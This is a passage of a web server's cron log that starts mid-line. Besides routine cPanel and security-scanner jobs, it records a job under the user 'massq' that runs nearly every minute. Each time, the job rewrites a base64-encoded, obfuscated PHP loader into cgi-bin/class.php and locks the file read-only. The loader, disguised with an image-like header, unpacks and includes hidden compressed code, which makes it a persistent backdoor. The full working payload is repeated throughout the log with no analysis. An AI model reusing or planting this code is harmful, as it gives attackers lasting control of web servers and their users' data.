CR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:36:01 server CROND[5109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:37:01 server CROND[5489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:37:01 server CROND[5490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:37:01 server CROND[5491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:38:01 server CROND[5882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:38:01 server CROND[5883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:38:01 server CROND[5881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:39:01 server CROND[6270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:39:01 server CROND[6272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:39:01 server CROND[6273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:39:01 server CROND[6271]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 04:40:01 server CROND[6678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:40:01 server CROND[6680]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:40:01 server CROND[6683]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:40:01 server CROND[6682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:40:01 server CROND[6686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:40:01 server CROND[6684]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:40:01 server CROND[6681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:40:01 server CROND[6685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:41:01 server CROND[7674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:41:01 server CROND[7673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:41:01 server CROND[7675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:42:01 server CROND[8113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:42:01 server CROND[8114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:42:01 server CROND[8116]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:42:01 server CROND[8115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:43:02 server CROND[8500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:43:02 server CROND[8502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:43:02 server CROND[8501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:44:01 server CROND[8877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:44:01 server CROND[8878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:44:01 server CROND[8879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:45:01 server CROND[9269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:45:01 server CROND[9275]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:45:01 server CROND[9280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:45:01 server CROND[9281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:45:01 server CROND[9284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:45:01 server CROND[9279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:45:01 server CROND[9282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:46:01 server CROND[10272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:46:01 server CROND[10273]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  6 04:46:01 server CROND[10274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:46:01 server CROND[10275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:47:01 server CROND[10661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:47:01 server CROND[10662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:47:01 server CROND[10663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:48:01 server CROND[11050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxc